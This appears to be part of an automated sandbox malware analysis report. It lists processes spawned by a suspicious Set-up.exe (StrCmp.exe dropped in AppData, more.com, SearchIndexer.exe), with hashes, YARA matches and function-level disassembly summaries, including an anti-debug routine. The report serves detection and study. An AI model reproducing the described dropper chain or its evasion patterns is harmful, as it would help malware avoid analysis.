Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000006.00000000.1796200865.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:15:48
Start date:	07/09/2024
Path:	C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe
Imagebase:	0x400000
File size:	48'896 bytes
MD5 hash:	916D7425A559AAA77F640710A65F9182
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:15:53
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xbc0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:15:53
Start date:	07/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:16:14
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\SearchIndexer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\SearchIndexer.exe
Imagebase:	0xaf0000
File size:	711'680 bytes
MD5 hash:	CF7BEFBA5E20F2F4C7851D016067B89C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:16:25
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1404
Imagebase:	0xe10000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:16:34
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 1336
Imagebase:	0xe10000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFB4B1D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1878245960.00007FFB4B1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b1d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 81b15c94bc6fbe4e9032030d3ae4a344e4c17d095e7a59a334cba36a007d5292
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: A401677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3661DA36E882CB45

Analysis Process: powershell.exePID: 2952, Parent PID: 1564COMMON

Executed Functions

Function 00007FFB4B1F33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1855891987.00007FFB4B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: a6ff5bb4aae794c7efc6c26f021c826127d70c14939140b992e20d712139b62f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 9701677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3661DA36E882CB45

Analysis Process: powershell.exePID: 6724, Parent PID: 2952COMMON

Executed Functions

Function 00007FFB4B500A69 Relevance: 3.9, Strings: 1, Instructions: 2652COMMON

Download Yara Rule

Strings

PQJK, xrefs: 00007FFB4B500F01

Memory Dump Source

Source File: 00000004.00000002.1839147786.00007FFB4B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b500000_powershell.jbxd

Similarity

API ID:
String ID: PQJK
API String ID: 0-1823452078
Opcode ID: 6efa3193940f02521cdad67a5cd5b7ab423a582924141dca90e55d988c882529
Instruction ID: adabfd8334afef08e4b5bd8811032c649e8d1dc2cc9d182acac4b5bb33135fe1
Opcode Fuzzy Hash: 6efa3193940f02521cdad67a5cd5b7ab423a582924141dca90e55d988c882529
Instruction Fuzzy Hash: 5F2394B190DA898FDFA5EF28C8646A8BBF1FF55340F1441EAD05CD7292CA34AD85CB41

Function 00007FFB4B502F06 Relevance: 3.8, Strings: 1, Instructions: 2526COMMON

Download Yara Rule

Strings

PQJK, xrefs: 00007FFB4B500F01

Memory Dump Source

Source File: 00000004.00000002.1839147786.00007FFB4B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b500000_powershell.jbxd

Similarity

API ID:
String ID: PQJK
API String ID: 0-1823452078
Opcode ID: 165293668f113abb3b3c3623958a39eb5c6957a090b7241f0480e5c6c84b020d
Instruction ID: 8e4f522272990f12efcaed3e76fc09cfbd117f11fe14501a8570e289a1f5b99e
Opcode Fuzzy Hash: 165293668f113abb3b3c3623958a39eb5c6957a090b7241f0480e5c6c84b020d
Instruction Fuzzy Hash: DF13A3B190DA894FEBA5EF68C8A46A8BBE1FF55340F1841FAD05CC7193CA349D85CB41

Function 00007FFB4B504E1A Relevance: 1.5, Instructions: 1487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1839147786.00007FFB4B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c819197832ac8017266ebaa432b06a346a136aee8045942a58b800e3f9e3dab7
Instruction ID: 82d0277d66f7e7e51178f016bb4588da9b8b6103104de3e9b15ba2040d439691
Opcode Fuzzy Hash: c819197832ac8017266ebaa432b06a346a136aee8045942a58b800e3f9e3dab7
Instruction Fuzzy Hash: FBC22AB190DA598FDBA5EF28C8A4AA8B7F1FF55304F1440EED00DD7292CA35AD85CB41

Function 00007FFB4B503574 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

HXLK, xrefs: 00007FFB4B503616

Memory Dump Source

Source File: 00000004.00000002.1839147786.00007FFB4B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b500000_powershell.jbxd

Similarity

API ID:
String ID: HXLK
API String ID: 0-2693351639
Opcode ID: d104cd7d099be33c4536e60b6ec4f25fd5729588210f855d93cc37927e0f2b8a
Instruction ID: ba89f2898a746c419b28f00b495653fe78d4920fcd8cbcb6afbfc21169420445
Opcode Fuzzy Hash: d104cd7d099be33c4536e60b6ec4f25fd5729588210f855d93cc37927e0f2b8a
Instruction Fuzzy Hash: 6F7182B190CA898FDB95EF28C9546A8B7E1FF58300F5481FAC05DD72A2DA349D85CB41

Function 00007FFB4B211BE8 Relevance: .6, Instructions: 614COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b507e2a3bb4c7fbf9413b6c756c45c1e67a97ba5891de250640c09c6bf2339f
Instruction ID: 7fc9be4351f3033eca436dfd160d3313c7f3d49f657d02eb9a16138011c9887d
Opcode Fuzzy Hash: 7b507e2a3bb4c7fbf9413b6c756c45c1e67a97ba5891de250640c09c6bf2339f
Instruction Fuzzy Hash: 55223E7460894D8FDF98FF2CC898AA977E1FF68305B0501A9E95ED72A1DA35EC41CB40

Function 00007FFB4B2D1259 Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1835454237.00007FFB4B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ebdb58d1b9f0d7b6b055db41f560fd40905b1fe1f63b79d853f264adbe26fe8
Instruction ID: 9d02d7168b39d7f5b219c595a7a7a102938b0383e331f15453bb52d9932092ab
Opcode Fuzzy Hash: 5ebdb58d1b9f0d7b6b055db41f560fd40905b1fe1f63b79d853f264adbe26fe8
Instruction Fuzzy Hash: EFE138A290DBC60FE79ABB3C98552B47FD5EF46211F0841FED18DC75E3D91898198382

Function 00007FFB4B502444 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1839147786.00007FFB4B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b500000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3250b07ec2b58cb5c99c8506d893e8b9dbf0233b3bc3e6c79a2f93068029b19f
Instruction ID: 2d13048c967cf1aad3a9021a76efd9171e0961fd9802c1fd2719149f4025a0c0
Opcode Fuzzy Hash: 3250b07ec2b58cb5c99c8506d893e8b9dbf0233b3bc3e6c79a2f93068029b19f
Instruction Fuzzy Hash: E502CFB190DA898FEFA5EF78C8655A8BBA1FF55300F1441FAD05CC7193CA39AC858B41

Function 00007FFB4B213C38 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8634dd20d5404f7a791e78fedfa1e5eb698316a23bb7bdfbb3300cc3f493ad6e
Instruction ID: 2e4a836e529b0337fcc24fc3ebaa5ba90ab607dcc8e7037de4b29d4efda7800f
Opcode Fuzzy Hash: 8634dd20d5404f7a791e78fedfa1e5eb698316a23bb7bdfbb3300cc3f493ad6e
Instruction Fuzzy Hash: 43611371A0D9494FDB5AFA38D8866F97BE1EF85310F0440FAD84EC71A7CD28AC468781

Function 00007FFB4B213F88 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1342761892a288864125cb4f4794de7b98862280b6c3d6fcb4510bb7d00f18
Instruction ID: 30475a29838c3778e8611957df095b6eee72a80c908087ba8a5cbfcd3ef6d8fd
Opcode Fuzzy Hash: 7a1342761892a288864125cb4f4794de7b98862280b6c3d6fcb4510bb7d00f18
Instruction Fuzzy Hash: 275178A1A0DA5A0FE759BE3CD9552B62FD1DFA9210B0844BBE44DC71E7DC09A8478381

Function 00007FFB4B219B50 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction ID: 5b54f65797af583b3bebbfebb6fce2d8d982c6a70310825a66649580ff387752
Opcode Fuzzy Hash: c9be9dbbce76e3b74867bd260c1f0f9682bc99ce66385624e915fade1d417fdd
Instruction Fuzzy Hash: 8E41D53131981C8FDAD8EB1CE898E687BE1FF6831271505E6E44ACB275DA66DC81CB40

Function 00007FFB4B213F40 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4ea368efad2c08c12d64cb270a025e8becdb06f5c9d4628305076df5f1a020
Instruction ID: 216e77df3273e6b2238193ec0d189b3088bbacd6299f29aa7d174d6706869db5
Opcode Fuzzy Hash: 4f4ea368efad2c08c12d64cb270a025e8becdb06f5c9d4628305076df5f1a020
Instruction Fuzzy Hash: 46417260B0CD1A5FEBA4FF3CD545AB53BD2EF64310B148579D54EC32AADD29E8828B40

Function 00007FFB4B213EC8 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f9afdbd5b2dece08031f83897671e53df438d344436324f62a4ce609f3fccdc
Instruction ID: ebfa3da8fe40e969f8b4011bc506ed9836e8f48c9c76c60cc506216876dedf7e
Opcode Fuzzy Hash: 2f9afdbd5b2dece08031f83897671e53df438d344436324f62a4ce609f3fccdc
Instruction Fuzzy Hash: 1431B170A0C9594FDBA9FB3CC494B757BD1EFA9300B1481B9D54ECB2A6DD19AC82C780

Function 00007FFB4B2D13E4 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1835454237.00007FFB4B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8881fe53f0707f3f129a57500cc82cff31b3b663c596923161c7ab73636e1115
Instruction ID: 8f366e6fe42f157c1c9091427e8742d3d8d309a3d07661e93311fd3bb92f94f7
Opcode Fuzzy Hash: 8881fe53f0707f3f129a57500cc82cff31b3b663c596923161c7ab73636e1115
Instruction Fuzzy Hash: 5D217CE2F0DE8A0BE3A5BE3CD94527469C6EF84752B5840BDD54CC39E3DC18EC194241

Function 00007FFB4B2033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1834964729.00007FFB4B200000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b200000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: df16939b5ff5a5b892c20379464ebefcb007bfc8b83a5e1281540d4c68852cdf
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 0C01677111CB0D8FDB44EF0CE451AA6B7E0FB99364F10056DE58AC3661DA36E882CB46

Non-executed Functions

Function 00007FFB4B2D8A1A Relevance: 5.3, Strings: 4, Instructions: 278COMMON

Download Yara Rule

Strings

H;LK, xrefs: 00007FFB4B2D8C3B
6AK, xrefs: 00007FFB4B2D8B8B
5AK, xrefs: 00007FFB4B2D8A60
6AK, xrefs: 00007FFB4B2D8BD2

Memory Dump Source

Source File: 00000004.00000002.1835454237.00007FFB4B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4b2d0000_powershell.jbxd

Similarity

API ID:
String ID: 6AK$ 6AK$H;LK$5AK
API String ID: 0-1996749061
Opcode ID: bfc03f577c1f5e77a6105d7ae27371ca3d88ff64b698a834a0183a1b773267cd
Instruction ID: f8803dbd3acc2a1e06dee57c70b55ad5dc6fd8c63c66af9f92f594ffcbb0946f
Opcode Fuzzy Hash: bfc03f577c1f5e77a6105d7ae27371ca3d88ff64b698a834a0183a1b773267cd
Instruction Fuzzy Hash: 458156A2A0EBC90FE357AB3C98552A57FE1EF47250B0841FBD0C9CB1A3D9181C0AC352

Analysis Process: Set-up.exePID: 1568, Parent PID: 6724COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	175
Total number of Limit Nodes:	0

Non-executed Functions

Function 6CA5B4E4 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 6CA6692C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CA66941
UnhandledExceptionFilter.KERNEL32(6CC308B4), ref: 6CA6694C
GetCurrentProcess.KERNEL32(C0000409), ref: 6CA66968
TerminateProcess.KERNEL32(00000000), ref: 6CA6696F

Memory Dump Source

Source File: 00000006.00000002.1921288335.000000006C5B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5B0000, based on PE: true

Associated: 00000006.00000002.1921254660.000000006C5B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CB07000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CBF8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CC47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937473883.000000006CCC8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937530542.000000006CCCD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937563719.000000006CCCF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937677559.000000006CCDA000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937709686.000000006CCDC000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937919192.000000006CCF2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937953013.000000006CCF7000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1938061797.000000006CCFA000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5b0000_Set-up.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 37d2db16015b6392ccac03ef8da0a48d1980f74c71a0948e57777dab49dc9ca9
Instruction ID: 9351c6d295d4ecf55ae76a6ef8ce5f8ba06c4988315d828291bf469494891b55
Opcode Fuzzy Hash: 37d2db16015b6392ccac03ef8da0a48d1980f74c71a0948e57777dab49dc9ca9
Instruction Fuzzy Hash: AF21FFB9B012048FCB01DF25E448A847BB4BF0B310F12649AE829D7B81E7B05AC4EF55

Function 6C5B14E6 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 6C5B14ED

Strings

1SendSlot(int,int,int,int,int *), xrefs: 6C5B1556
2PostSignal(int,int,int,int), xrefs: 6C5B1579
1PostSlot(int,int,int,int), xrefs: 6C5B1573
2SendSignal(int,int,int,int,int *), xrefs: 6C5B155C

Memory Dump Source

Source File: 00000006.00000002.1921288335.000000006C5B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5B0000, based on PE: true

Associated: 00000006.00000002.1921254660.000000006C5B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CB07000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CBF8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CC47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937473883.000000006CCC8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937530542.000000006CCCD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937563719.000000006CCCF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937677559.000000006CCDA000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937709686.000000006CCDC000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937919192.000000006CCF2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937953013.000000006CCF7000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1938061797.000000006CCFA000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5b0000_Set-up.jbxd

Similarity

API ID: H_prolog3
String ID: 1PostSlot(int,int,int,int)$1SendSlot(int,int,int,int,int *)$2PostSignal(int,int,int,int)$2SendSignal(int,int,int,int,int *)
API String ID: 431132790-2266928568
Opcode ID: 9062e4793bc3962b3475033037b5eb545725dc1ea7ce27c8a7b2fd3422db5ba1
Instruction ID: 7261458cde4f542868e84b8311c93586ad2360941b299bdaa720036d8d65c8b5
Opcode Fuzzy Hash: 9062e4793bc3962b3475033037b5eb545725dc1ea7ce27c8a7b2fd3422db5ba1
Instruction Fuzzy Hash: AF21AAF1B002019FDB44CFB59E99EAD77B4BB46318F50452EE116EBBC1DB7089448B90

Function 6C5B18E8 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QStringCreate.WEBUI(?,?,?,6C5B1AD2,00000000,webkitcreate,?), ref: 6C5B18F1
QStringSet.WEBUI(00000000,?,?,?,?,6C5B1AD2,00000000,webkitcreate,?), ref: 6C5B18FD

Part of subcall function 6C5B1338: __EH_prolog3.LIBCMT ref: 6C5B133F

QStringCreate.WEBUI(00000000,?,?,?,?,6C5B1AD2,00000000,webkitcreate,?), ref: 6C5B1902
QStringSet.WEBUI(00000000,00000000,00000000,?,?,?,?,6C5B1AD2,00000000,webkitcreate,?), ref: 6C5B190C

Memory Dump Source

Source File: 00000006.00000002.1921288335.000000006C5B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5B0000, based on PE: true

Associated: 00000006.00000002.1921254660.000000006C5B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CB07000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CBF8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1933489810.000000006CC47000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937473883.000000006CCC8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937530542.000000006CCCD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937563719.000000006CCCF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937677559.000000006CCDA000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937709686.000000006CCDC000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937919192.000000006CCF2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1937953013.000000006CCF7000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1938061797.000000006CCFA000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5b0000_Set-up.jbxd

Similarity

API ID: String$Create$H_prolog3
String ID:
API String ID: 3317808019-0
Opcode ID: 7a66a29d47e06e3dbee439e90abfc702305817c42f8e28453254c1be872e8ec2
Instruction ID: 021c09910ac19e945b1391ade657ec50e80ceed9e430fb2aef0dbd8d6e7a15d0
Opcode Fuzzy Hash: 7a66a29d47e06e3dbee439e90abfc702305817c42f8e28453254c1be872e8ec2
Instruction Fuzzy Hash: 3FE08672200200FAD7411BA45C50FFF7A6CDFD6659F200019F24072A40D734CC195676

Analysis Process: StrCmp.exePID: 4452, Parent PID: 1568COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	220
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004014BC Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(0040160C), ref: 004014C1

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: e1df500c5e035d398dbcba4ac8353573d4d7d352f8ae75b10b3b59ec70385542
Instruction ID: 59ae6d68a0d76de1b89f6189ad3a8d43729d8b16629c88d7dbdd5a3f90f478ac
Opcode Fuzzy Hash: e1df500c5e035d398dbcba4ac8353573d4d7d352f8ae75b10b3b59ec70385542
Instruction Fuzzy Hash: 3C410C2150E7C04FE3134BB989691A6BFB0AE5362032A80EBC4C2DF5B3D168494AD332

Non-executed Functions

Function 00402C80 Relevance: 51.4, APIs: 34, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaNew2.MSVBVM60(00402114,?), ref: 00402CDB
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024,?,?), ref: 00402CFF
__vbaI2I4.MSVBVM60(?,?), ref: 00402D0B
__vbaNew2.MSVBVM60(00402114,?,?,?,?,?,?), ref: 00402D3B
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402104,0000001C,?,?,?,?,?), ref: 00402D6D
__vbaVarTstEq.MSVBVM60(?,?,?,?,?,?,?), ref: 00402D87
__vbaFreeVar.MSVBVM60(?,?,?,?,?), ref: 00402D92
__vbaNew2.MSVBVM60(00402114,?,?,?), ref: 00402DC2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000020,?,?,?,?,?,?,?), ref: 00402E15
__vbaFreeVarList.MSVBVM60(00000003,?,?,?,?,?,?,?,?,?,?), ref: 00402E29
__vbaNew2.MSVBVM60(00402114,?,?), ref: 00402E3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402104,00000024), ref: 00402E62
__vbaCastObj.MSVBVM60(?,00401E94), ref: 00402E7A
__vbaObjSet.MSVBVM60(?,00000000), ref: 00402E85
__vbaFreeObj.MSVBVM60(?), ref: 00402E97

Memory Dump Source

Source File: 00000007.00000002.1803639997.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1803625274.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803654860.0000000000406000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1803668907.0000000000407000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_StrCmp.jbxd

Similarity

API ID: __vba$CheckHresultNew2$Free$CastList
